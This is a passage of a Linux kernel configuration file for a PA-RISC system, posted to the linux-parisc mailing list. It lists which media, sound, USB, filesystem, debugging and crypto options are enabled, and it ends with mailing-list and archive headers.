# CONFIG_MFD_LP8788 is not set
# CONFIG_MFD_PALMAS is not set
# CONFIG_TPS6105X is not set
# CONFIG_TPS6507X is not set
# CONFIG_MFD_TPS65090 is not set
# CONFIG_MFD_TPS65217 is not set
# CONFIG_MFD_TPS6586X is not set
# CONFIG_MFD_TPS80031 is not set
# CONFIG_TWL4030_CORE is not set
# CONFIG_TWL6040_CORE is not set
# CONFIG_MFD_WL1273_CORE is not set
# CONFIG_MFD_LM3533 is not set
# CONFIG_MFD_TC3589X is not set
# CONFIG_MFD_TMIO is not set
# CONFIG_MFD_VX855 is not set
# CONFIG_MFD_ARIZONA_I2C is not set
# CONFIG_MFD_WM8400 is not set
# CONFIG_MFD_WM831X_I2C is not set
# CONFIG_MFD_WM8350_I2C is not set
# CONFIG_MFD_WM8994 is not set
# CONFIG_REGULATOR is not set
CONFIG_MEDIA_SUPPORT=y

#
# Multimedia core support
#
# CONFIG_MEDIA_CAMERA_SUPPORT is not set
CONFIG_MEDIA_ANALOG_TV_SUPPORT=y
# CONFIG_MEDIA_DIGITAL_TV_SUPPORT is not set
# CONFIG_MEDIA_RADIO_SUPPORT is not set
CONFIG_MEDIA_RC_SUPPORT=y
CONFIG_VIDEO_DEV=y
CONFIG_VIDEO_V4L2=y
# CONFIG_VIDEO_ADV_DEBUG is not set
# CONFIG_VIDEO_FIXED_MINOR_RANGES is not set
CONFIG_VIDEO_TUNER=m
CONFIG_VIDEOBUF_GEN=m
CONFIG_VIDEOBUF_DMA_SG=m
# CONFIG_VIDEO_V4L2_INT_DEVICE is not set
# CONFIG_TTPCI_EEPROM is not set

#
# Media drivers
#
CONFIG_RC_CORE=y
# CONFIG_RC_MAP is not set
# CONFIG_RC_DECODERS is not set
# CONFIG_RC_DEVICES is not set
# CONFIG_MEDIA_USB_SUPPORT is not set
CONFIG_MEDIA_PCI_SUPPORT=y

#
# Media capture/analog TV support
#
# CONFIG_VIDEO_IVTV is not set
# CONFIG_VIDEO_ZORAN is not set
# CONFIG_VIDEO_HEXIUM_GEMINI is not set
# CONFIG_VIDEO_HEXIUM_ORION is not set
# CONFIG_VIDEO_MXB is not set

#
# Media capture/analog/hybrid TV support
#
# CONFIG_VIDEO_CX25821 is not set
# CONFIG_VIDEO_CX88 is not set
CONFIG_VIDEO_BT848=m
# CONFIG_VIDEO_SAA7134 is not set

#
# Supported MMC/SDIO adapters
#
CONFIG_VIDEO_BTCX=m
CONFIG_VIDEO_TVEEPROM=m
# CONFIG_CYPRESS_FIRMWARE is not set

#
# Media ancillary drivers (tuners, sensors, i2c, frontends)
#
CONFIG_MEDIA_SUBDRV_AUTOSELECT=y
CONFIG_MEDIA_ATTACH=y
CONFIG_VIDEO_IR_I2C=y

#
# Audio decoders, processors and mixers
#
CONFIG_VIDEO_TVAUDIO=m
CONFIG_VIDEO_TDA7432=m
CONFIG_VIDEO_MSP3400=m

#
# RDS decoders
#
CONFIG_VIDEO_SAA6588=m

#
# Video decoders
#

#
# Video and audio decoders
#

#
# Video encoders
#

#
# Camera sensor devices
#

#
# Flash devices
#

#
# Video improvement chips
#

#
# Miscelaneous helper chips
#

#
# Sensors used on soc_camera driver
#
CONFIG_MEDIA_TUNER=y
CONFIG_MEDIA_TUNER_SIMPLE=y
CONFIG_MEDIA_TUNER_TDA8290=y
CONFIG_MEDIA_TUNER_TDA827X=y
CONFIG_MEDIA_TUNER_TDA18271=y
CONFIG_MEDIA_TUNER_TDA9887=y
CONFIG_MEDIA_TUNER_MT20XX=y
CONFIG_MEDIA_TUNER_XC2028=y
CONFIG_MEDIA_TUNER_XC5000=y
CONFIG_MEDIA_TUNER_XC4000=y
CONFIG_MEDIA_TUNER_MC44S803=y

#
# Tools to develop new frontends
#
# CONFIG_DVB_DUMMY_FE is not set

#
# Graphics support
#
# CONFIG_AGP is not set
CONFIG_VGA_ARB=y
CONFIG_VGA_ARB_MAX_GPUS=16
# CONFIG_DRM is not set
# CONFIG_VGASTATE is not set
# CONFIG_VIDEO_OUTPUT_CONTROL is not set
# CONFIG_FB is not set
# CONFIG_EXYNOS_VIDEO is not set
# CONFIG_BACKLIGHT_LCD_SUPPORT is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=160
CONFIG_DUMMY_CONSOLE_ROWS=64
# CONFIG_STI_CONSOLE is not set
CONFIG_SOUND=y
# CONFIG_SOUND_OSS_CORE is not set
CONFIG_SND=y
CONFIG_SND_TIMER=y
CONFIG_SND_PCM=y
# CONFIG_SND_SEQUENCER is not set
# CONFIG_SND_MIXER_OSS is not set
# CONFIG_SND_PCM_OSS is not set
# CONFIG_SND_DYNAMIC_MINORS is not set
# CONFIG_SND_SUPPORT_OLD_API is not set
# CONFIG_SND_VERBOSE_PROCFS is not set
# CONFIG_SND_VERBOSE_PRINTK is not set
# CONFIG_SND_DEBUG is not set
CONFIG_SND_VMASTER=y
# CONFIG_SND_RAWMIDI_SEQ is not set
# CONFIG_SND_OPL3_LIB_SEQ is not set
# CONFIG_SND_OPL4_LIB_SEQ is not set
# CONFIG_SND_SBAWE_SEQ is not set
# CONFIG_SND_EMU10K1_SEQ is not set
CONFIG_SND_AC97_CODEC=y
# CONFIG_SND_DRIVERS is not set
CONFIG_SND_PCI=y
CONFIG_SND_AD1889=y
# CONFIG_SND_ALS300 is not set
# CONFIG_SND_ALI5451 is not set
# CONFIG_SND_ATIIXP is not set
# CONFIG_SND_ATIIXP_MODEM is not set
# CONFIG_SND_AU8810 is not set
# CONFIG_SND_AU8820 is not set
# CONFIG_SND_AU8830 is not set
# CONFIG_SND_AW2 is not set
# CONFIG_SND_AZT3328 is not set
# CONFIG_SND_BT87X is not set
# CONFIG_SND_CA0106 is not set
# CONFIG_SND_CMIPCI is not set
# CONFIG_SND_OXYGEN is not set
# CONFIG_SND_CS4281 is not set
# CONFIG_SND_CS46XX is not set
# CONFIG_SND_CS5535AUDIO is not set
# CONFIG_SND_CTXFI is not set
# CONFIG_SND_DARLA20 is not set
# CONFIG_SND_GINA20 is not set
# CONFIG_SND_LAYLA20 is not set
# CONFIG_SND_DARLA24 is not set
# CONFIG_SND_GINA24 is not set
# CONFIG_SND_LAYLA24 is not set
# CONFIG_SND_MONA is not set
# CONFIG_SND_MIA is not set
# CONFIG_SND_ECHO3G is not set
# CONFIG_SND_INDIGO is not set
# CONFIG_SND_INDIGOIO is not set
# CONFIG_SND_INDIGODJ is not set
# CONFIG_SND_INDIGOIOX is not set
# CONFIG_SND_INDIGODJX is not set
# CONFIG_SND_EMU10K1 is not set
# CONFIG_SND_EMU10K1X is not set
# CONFIG_SND_ENS1370 is not set
# CONFIG_SND_ENS1371 is not set
# CONFIG_SND_ES1938 is not set
# CONFIG_SND_ES1968 is not set
# CONFIG_SND_FM801 is not set
# CONFIG_SND_HDA_INTEL is not set
# CONFIG_SND_HDSP is not set
# CONFIG_SND_HDSPM is not set
# CONFIG_SND_ICE1712 is not set
# CONFIG_SND_ICE1724 is not set
# CONFIG_SND_INTEL8X0 is not set
# CONFIG_SND_INTEL8X0M is not set
# CONFIG_SND_KORG1212 is not set
# CONFIG_SND_LOLA is not set
# CONFIG_SND_LX6464ES is not set
# CONFIG_SND_MAESTRO3 is not set
# CONFIG_SND_MIXART is not set
# CONFIG_SND_NM256 is not set
# CONFIG_SND_PCXHR is not set
# CONFIG_SND_RIPTIDE is not set
# CONFIG_SND_RME32 is not set
# CONFIG_SND_RME96 is not set
# CONFIG_SND_RME9652 is not set
# CONFIG_SND_SONICVIBES is not set
# CONFIG_SND_TRIDENT is not set
# CONFIG_SND_VIA82XX is not set
# CONFIG_SND_VIA82XX_MODEM is not set
# CONFIG_SND_VIRTUOSO is not set
# CONFIG_SND_VX222 is not set
# CONFIG_SND_YMFPCI is not set
# CONFIG_SND_USB is not set
# CONFIG_SND_SOC is not set
# CONFIG_SOUND_PRIME is not set
CONFIG_AC97_BUS=y

#
# HID support
#
# CONFIG_HID is not set

#
# USB HID support
#
# CONFIG_USB_HID is not set
# CONFIG_HID_PID is not set

#
# I2C HID support
#
# CONFIG_I2C_HID is not set
CONFIG_USB_SUPPORT=y
CONFIG_USB_COMMON=y
CONFIG_USB_ARCH_HAS_HCD=y
CONFIG_USB=y
# CONFIG_USB_DEBUG is not set
# CONFIG_USB_ANNOUNCE_NEW_DEVICES is not set

#
# Miscellaneous USB options
#
CONFIG_USB_DEFAULT_PERSIST=y
# CONFIG_USB_DYNAMIC_MINORS is not set
# CONFIG_USB_MON is not set
# CONFIG_USB_WUSB_CBAF is not set

#
# USB Host Controller Drivers
#
# CONFIG_USB_C67X00_HCD is not set
# CONFIG_USB_XHCI_HCD is not set
CONFIG_USB_EHCI_HCD=y
# CONFIG_USB_EHCI_ROOT_HUB_TT is not set
# CONFIG_USB_EHCI_TT_NEWSCHED is not set
CONFIG_USB_EHCI_PCI=y
# CONFIG_USB_EHCI_HCD_PLATFORM is not set
# CONFIG_USB_OXU210HP_HCD is not set
# CONFIG_USB_ISP116X_HCD is not set
# CONFIG_USB_ISP1760_HCD is not set
# CONFIG_USB_ISP1362_HCD is not set
# CONFIG_USB_FUSBH200_HCD is not set
CONFIG_USB_OHCI_HCD=y
CONFIG_USB_OHCI_HCD_PCI=y
# CONFIG_USB_OHCI_HCD_PLATFORM is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_DESC is not set
# CONFIG_USB_OHCI_BIG_ENDIAN_MMIO is not set
CONFIG_USB_OHCI_LITTLE_ENDIAN=y
CONFIG_USB_UHCI_HCD=y
# CONFIG_USB_SL811_HCD is not set
# CONFIG_USB_R8A66597_HCD is not set

#
# USB Device Class drivers
#
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set
# CONFIG_USB_WDM is not set
# CONFIG_USB_TMC is not set

#
# NOTE: USB_STORAGE depends on SCSI but BLK_DEV_SD may
#

#
# also be needed; see USB_STORAGE Help for more info
#
CONFIG_USB_STORAGE=y
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_REALTEK is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
# CONFIG_USB_STORAGE_USBAT is not set
# CONFIG_USB_STORAGE_SDDR09 is not set
# CONFIG_USB_STORAGE_SDDR55 is not set
# CONFIG_USB_STORAGE_JUMPSHOT is not set
# CONFIG_USB_STORAGE_ALAUDA is not set
# CONFIG_USB_STORAGE_ONETOUCH is not set
# CONFIG_USB_STORAGE_KARMA is not set
# CONFIG_USB_STORAGE_CYPRESS_ATACB is not set
# CONFIG_USB_STORAGE_ENE_UB6250 is not set

#
# USB Imaging devices
#
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_MICROTEK is not set
# CONFIG_USB_DWC3 is not set
# CONFIG_USB_CHIPIDEA is not set

#
# USB port drivers
#
# CONFIG_USB_SERIAL is not set

#
# USB Miscellaneous drivers
#
# CONFIG_USB_EMI62 is not set
# CONFIG_USB_EMI26 is not set
# CONFIG_USB_ADUTUX is not set
# CONFIG_USB_SEVSEG is not set
# CONFIG_USB_RIO500 is not set
# CONFIG_USB_LEGOTOWER is not set
# CONFIG_USB_LCD is not set
# CONFIG_USB_LED is not set
# CONFIG_USB_CYPRESS_CY7C63 is not set
# CONFIG_USB_CYTHERM is not set
# CONFIG_USB_IDMOUSE is not set
# CONFIG_USB_FTDI_ELAN is not set
# CONFIG_USB_APPLEDISPLAY is not set
# CONFIG_USB_SISUSBVGA is not set
# CONFIG_USB_LD is not set
# CONFIG_USB_TRANCEVIBRATOR is not set
# CONFIG_USB_IOWARRIOR is not set
# CONFIG_USB_TEST is not set
# CONFIG_USB_ISIGHTFW is not set
# CONFIG_USB_YUREX is not set
# CONFIG_USB_EZUSB_FX2 is not set
# CONFIG_USB_HSIC_USB3503 is not set
# CONFIG_USB_PHY is not set
# CONFIG_USB_GADGET is not set
# CONFIG_UWB is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_ACCESSIBILITY is not set
# CONFIG_INFINIBAND is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_SYSTOHC=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# I2C RTC drivers
#
# CONFIG_RTC_DRV_DS1307 is not set
# CONFIG_RTC_DRV_DS1374 is not set
# CONFIG_RTC_DRV_DS1672 is not set
# CONFIG_RTC_DRV_DS3232 is not set
# CONFIG_RTC_DRV_MAX6900 is not set
# CONFIG_RTC_DRV_RS5C372 is not set
# CONFIG_RTC_DRV_ISL1208 is not set
# CONFIG_RTC_DRV_ISL12022 is not set
# CONFIG_RTC_DRV_X1205 is not set
# CONFIG_RTC_DRV_PCF2127 is not set
# CONFIG_RTC_DRV_PCF8523 is not set
# CONFIG_RTC_DRV_PCF8563 is not set
# CONFIG_RTC_DRV_PCF8583 is not set
# CONFIG_RTC_DRV_M41T80 is not set
# CONFIG_RTC_DRV_BQ32K is not set
# CONFIG_RTC_DRV_S35390A is not set
# CONFIG_RTC_DRV_FM3130 is not set
# CONFIG_RTC_DRV_RX8581 is not set
# CONFIG_RTC_DRV_RX8025 is not set
# CONFIG_RTC_DRV_EM3027 is not set
# CONFIG_RTC_DRV_RV3029C2 is not set

#
# SPI RTC drivers
#

#
# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_MSM6242 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
# CONFIG_RTC_DRV_RP5C01 is not set
# CONFIG_RTC_DRV_V3020 is not set
# CONFIG_RTC_DRV_DS2404 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_GENERIC=y

#
# HID Sensor RTC drivers
#
# CONFIG_DMADEVICES is not set
# CONFIG_AUXDISPLAY is not set
# CONFIG_UIO is not set
# CONFIG_VIRT_DRIVERS is not set

#
# Virtio drivers
#
# CONFIG_VIRTIO_PCI is not set
# CONFIG_VIRTIO_MMIO is not set

#
# Microsoft Hyper-V guest support
#
# CONFIG_STAGING is not set

#
# Hardware Spinlock drivers
#
# CONFIG_MAILBOX is not set
# CONFIG_IOMMU_SUPPORT is not set

#
# Remoteproc drivers
#
# CONFIG_STE_MODEM_RPROC is not set

#
# Rpmsg drivers
#
# CONFIG_PM_DEVFREQ is not set
# CONFIG_EXTCON is not set
# CONFIG_MEMORY is not set
# CONFIG_IIO is not set
# CONFIG_VME_BUS is not set
# CONFIG_PWM is not set
# CONFIG_IPACK_BUS is not set
# CONFIG_RESET_CONTROLLER is not set
# CONFIG_FMC is not set

#
# File systems
#
CONFIG_EXT2_FS=y
# CONFIG_EXT2_FS_XATTR is not set
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=y
# CONFIG_EXT3_DEFAULTS_TO_ORDERED is not set
# CONFIG_EXT3_FS_XATTR is not set
CONFIG_EXT4_FS=y
# CONFIG_EXT4_FS_POSIX_ACL is not set
# CONFIG_EXT4_FS_SECURITY is not set
# CONFIG_EXT4_DEBUG is not set
CONFIG_JBD=y
# CONFIG_JBD_DEBUG is not set
CONFIG_JBD2=y
# CONFIG_JBD2_DEBUG is not set
CONFIG_FS_MBCACHE=y
CONFIG_REISERFS_FS=y
# CONFIG_REISERFS_CHECK is not set
# CONFIG_REISERFS_PROC_INFO is not set
# CONFIG_REISERFS_FS_XATTR is not set
# CONFIG_JFS_FS is not set
# CONFIG_XFS_FS is not set
# CONFIG_GFS2_FS is not set
# CONFIG_OCFS2_FS is not set
# CONFIG_BTRFS_FS is not set
# CONFIG_NILFS2_FS is not set
# CONFIG_FS_POSIX_ACL is not set
CONFIG_FILE_LOCKING=y
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
CONFIG_FANOTIFY=y
# CONFIG_QUOTA is not set
# CONFIG_QUOTACTL is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_FUSE_FS is not set

#
# Caches
#
# CONFIG_FSCACHE is not set

#
# CD-ROM/DVD Filesystems
#
CONFIG_ISO9660_FS=m
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
CONFIG_FAT_FS=m
CONFIG_MSDOS_FS=m
CONFIG_VFAT_FS=m
CONFIG_FAT_DEFAULT_CODEPAGE=437
CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1"
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
# CONFIG_TMPFS_POSIX_ACL is not set
# CONFIG_TMPFS_XATTR is not set
# CONFIG_HUGETLB_PAGE is not set
CONFIG_CONFIGFS_FS=y
# CONFIG_MISC_FILESYSTEMS is not set
# CONFIG_NETWORK_FILESYSTEMS is not set
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=m
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
CONFIG_NLS_CODEPAGE_850=m
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1250 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
CONFIG_NLS_ASCII=m
CONFIG_NLS_ISO8859_1=m
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
CONFIG_NLS_ISO8859_15=m
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
# CONFIG_NLS_MAC_ROMAN is not set
# CONFIG_NLS_MAC_CELTIC is not set
# CONFIG_NLS_MAC_CENTEURO is not set
# CONFIG_NLS_MAC_CROATIAN is not set
# CONFIG_NLS_MAC_CYRILLIC is not set
# CONFIG_NLS_MAC_GAELIC is not set
# CONFIG_NLS_MAC_GREEK is not set
# CONFIG_NLS_MAC_ICELAND is not set
# CONFIG_NLS_MAC_INUIT is not set
# CONFIG_NLS_MAC_ROMANIAN is not set
# CONFIG_NLS_MAC_TURKISH is not set
CONFIG_NLS_UTF8=m
# CONFIG_DLM is not set

#
# Kernel hacking
#

#
# printk and dmesg options
#
CONFIG_PRINTK_TIME=y
CONFIG_DEFAULT_MESSAGE_LOGLEVEL=4
# CONFIG_BOOT_PRINTK_DELAY is not set
# CONFIG_DYNAMIC_DEBUG is not set

#
# Compile-time checks and compiler options
#
CONFIG_DEBUG_INFO=y
CONFIG_DEBUG_INFO_REDUCED=y
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_FRAME_WARN=4096
CONFIG_STRIP_ASM_SYMS=y
# CONFIG_READABLE_ASM is not set
# CONFIG_UNUSED_SYMBOLS is not set
CONFIG_DEBUG_FS=y
# CONFIG_HEADERS_CHECK is not set
CONFIG_DEBUG_SECTION_MISMATCH=y
CONFIG_ARCH_WANT_FRAME_POINTERS=y
# CONFIG_FRAME_POINTER is not set
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
CONFIG_MAGIC_SYSRQ=y
CONFIG_DEBUG_KERNEL=y

#
# Memory Debugging
#
# CONFIG_DEBUG_PAGEALLOC is not set
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_DEBUG_SLAB is not set
# CONFIG_DEBUG_VM is not set
CONFIG_DEBUG_MEMORY_INIT=y
# CONFIG_DEBUG_PER_CPU_MAPS is not set
CONFIG_HAVE_DEBUG_STACKOVERFLOW=y
# CONFIG_DEBUG_STACKOVERFLOW is not set
# CONFIG_DEBUG_SHIRQ is not set

#
# Debug Lockups and Hangs
#
# CONFIG_LOCKUP_DETECTOR is not set
# CONFIG_DETECT_HUNG_TASK is not set
# CONFIG_PANIC_ON_OOPS is not set
CONFIG_PANIC_ON_OOPS_VALUE=0
# CONFIG_SCHED_DEBUG is not set
# CONFIG_SCHEDSTATS is not set
# CONFIG_TIMER_STATS is not set

#
# Lock Debugging (spinlocks, mutexes, etc...)
#
# CONFIG_DEBUG_RT_MUTEXES is not set
# CONFIG_RT_MUTEX_TESTER is not set
# CONFIG_DEBUG_SPINLOCK is not set
# CONFIG_DEBUG_MUTEXES is not set
# CONFIG_DEBUG_ATOMIC_SLEEP is not set
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
# CONFIG_DEBUG_WRITECOUNT is not set
# CONFIG_DEBUG_LIST is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_DEBUG_NOTIFIERS is not set
# CONFIG_DEBUG_CREDENTIALS is not set

#
# RCU Debugging
#
# CONFIG_SPARSE_RCU_POINTER is not set
# CONFIG_RCU_TORTURE_TEST is not set
CONFIG_RCU_CPU_STALL_TIMEOUT=60
# CONFIG_RCU_CPU_STALL_INFO is not set
# CONFIG_RCU_TRACE is not set
# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set
# CONFIG_NOTIFIER_ERROR_INJECTION is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_LATENCYTOP is not set
CONFIG_ARCH_HAS_DEBUG_STRICT_USER_COPY_CHECKS=y
CONFIG_DEBUG_STRICT_USER_COPY_CHECKS=y
CONFIG_HAVE_FUNCTION_TRACER=y
CONFIG_HAVE_FUNCTION_GRAPH_TRACER=y
CONFIG_HAVE_FUNCTION_TRACE_MCOUNT_TEST=y

#
# Runtime Testing
#
# CONFIG_LKDTM is not set
# CONFIG_TEST_LIST_SORT is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_RBTREE_TEST is not set
# CONFIG_INTERVAL_TREE_TEST is not set
# CONFIG_ATOMIC64_SELFTEST is not set
# CONFIG_TEST_STRING_HELPERS is not set
# CONFIG_TEST_KSTRTOX is not set
# CONFIG_SAMPLES is not set
# CONFIG_DEBUG_RODATA is not set

#
# Security options
#
# CONFIG_KEYS is not set
# CONFIG_SECURITY_DMESG_RESTRICT is not set
# CONFIG_SECURITY is not set
# CONFIG_SECURITYFS is not set
CONFIG_DEFAULT_SECURITY_DAC=y
CONFIG_DEFAULT_SECURITY=""
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_BLKCIPHER=y
CONFIG_CRYPTO_BLKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_PCOMP2=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_MANAGER2=y
# CONFIG_CRYPTO_USER is not set
# CONFIG_CRYPTO_MANAGER_DISABLE_TESTS is not set
# CONFIG_CRYPTO_GF128MUL is not set
# CONFIG_CRYPTO_NULL is not set
# CONFIG_CRYPTO_PCRYPT is not set
CONFIG_CRYPTO_WORKQUEUE=y
# CONFIG_CRYPTO_CRYPTD is not set
# CONFIG_CRYPTO_AUTHENC is not set
# CONFIG_CRYPTO_TEST is not set

#
# Authenticated Encryption with Associated Data
#
# CONFIG_CRYPTO_CCM is not set
# CONFIG_CRYPTO_GCM is not set
# CONFIG_CRYPTO_SEQIV is not set

#
# Block modes
#
CONFIG_CRYPTO_CBC=y
# CONFIG_CRYPTO_CTR is not set
# CONFIG_CRYPTO_CTS is not set
# CONFIG_CRYPTO_ECB is not set
# CONFIG_CRYPTO_LRW is not set
# CONFIG_CRYPTO_PCBC is not set
# CONFIG_CRYPTO_XTS is not set

#
# Hash modes
#
# CONFIG_CRYPTO_CMAC is not set
# CONFIG_CRYPTO_HMAC is not set
# CONFIG_CRYPTO_XCBC is not set
# CONFIG_CRYPTO_VMAC is not set

#
# Digest
#
CONFIG_CRYPTO_CRC32C=y
# CONFIG_CRYPTO_CRC32 is not set
# CONFIG_CRYPTO_GHASH is not set
# CONFIG_CRYPTO_MD4 is not set
# CONFIG_CRYPTO_MD5 is not set
# CONFIG_CRYPTO_MICHAEL_MIC is not set
# CONFIG_CRYPTO_RMD128 is not set
# CONFIG_CRYPTO_RMD160 is not set
# CONFIG_CRYPTO_RMD256 is not set
# CONFIG_CRYPTO_RMD320 is not set
# CONFIG_CRYPTO_SHA1 is not set
# CONFIG_CRYPTO_SHA256 is not set
# CONFIG_CRYPTO_SHA512 is not set
# CONFIG_CRYPTO_TGR192 is not set
# CONFIG_CRYPTO_WP512 is not set

#
# Ciphers
#
CONFIG_CRYPTO_AES=y
# CONFIG_CRYPTO_ANUBIS is not set
# CONFIG_CRYPTO_ARC4 is not set
# CONFIG_CRYPTO_BLOWFISH is not set
# CONFIG_CRYPTO_CAMELLIA is not set
# CONFIG_CRYPTO_CAST5 is not set
# CONFIG_CRYPTO_CAST6 is not set
# CONFIG_CRYPTO_DES is not set
# CONFIG_CRYPTO_FCRYPT is not set
# CONFIG_CRYPTO_KHAZAD is not set
# CONFIG_CRYPTO_SALSA20 is not set
# CONFIG_CRYPTO_SEED is not set
# CONFIG_CRYPTO_SERPENT is not set
# CONFIG_CRYPTO_TEA is not set
# CONFIG_CRYPTO_TWOFISH is not set

#
# Compression
#
# CONFIG_CRYPTO_DEFLATE is not set
# CONFIG_CRYPTO_ZLIB is not set
# CONFIG_CRYPTO_LZO is not set
# CONFIG_CRYPTO_LZ4 is not set
# CONFIG_CRYPTO_LZ4HC is not set

#
# Random Number Generation
#
# CONFIG_CRYPTO_ANSI_CPRNG is not set
# CONFIG_CRYPTO_USER_API_HASH is not set
# CONFIG_CRYPTO_USER_API_SKCIPHER is not set
# CONFIG_CRYPTO_HW is not set
# CONFIG_BINARY_PRINTF is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
CONFIG_GENERIC_STRNCPY_FROM_USER=y
CONFIG_GENERIC_NET_UTILS=y
CONFIG_GENERIC_PCI_IOMAP=y
CONFIG_GENERIC_IO=y
# CONFIG_CRC_CCITT is not set
CONFIG_CRC16=y
# CONFIG_CRC_T10DIF is not set
# CONFIG_CRC_ITU_T is not set
CONFIG_CRC32=y
# CONFIG_CRC32_SELFTEST is not set
CONFIG_CRC32_SLICEBY8=y
# CONFIG_CRC32_SLICEBY4 is not set
# CONFIG_CRC32_SARWATE is not set
# CONFIG_CRC32_BIT is not set
# CONFIG_CRC7 is not set
# CONFIG_LIBCRC32C is not set
# CONFIG_CRC8 is not set
CONFIG_ZLIB_INFLATE=m
# CONFIG_XZ_DEC is not set
# CONFIG_XZ_DEC_BCJ is not set
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y
CONFIG_CPU_RMAP=y
CONFIG_DQL=y
CONFIG_NLATTR=y
CONFIG_ARCH_HAS_ATOMIC64_DEC_IF_POSITIVE=y
# CONFIG_AVERAGE is not set
# CONFIG_CORDIC is not set
# CONFIG_DDR is not set

Regards,
Domenico
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Domenico Andreoli <cavokz@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Re: Does there exists any 32bit-only PARISC SMP machines?
Date: Wed, 4 Sep 2013 16:28:47 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20130904142847.GA2893@glitch>
References: <521F9848.4010404@gmx.de>
 <1377830541.2331.5.camel@dabdike>
 <20130903155643.GA1430@glitch>
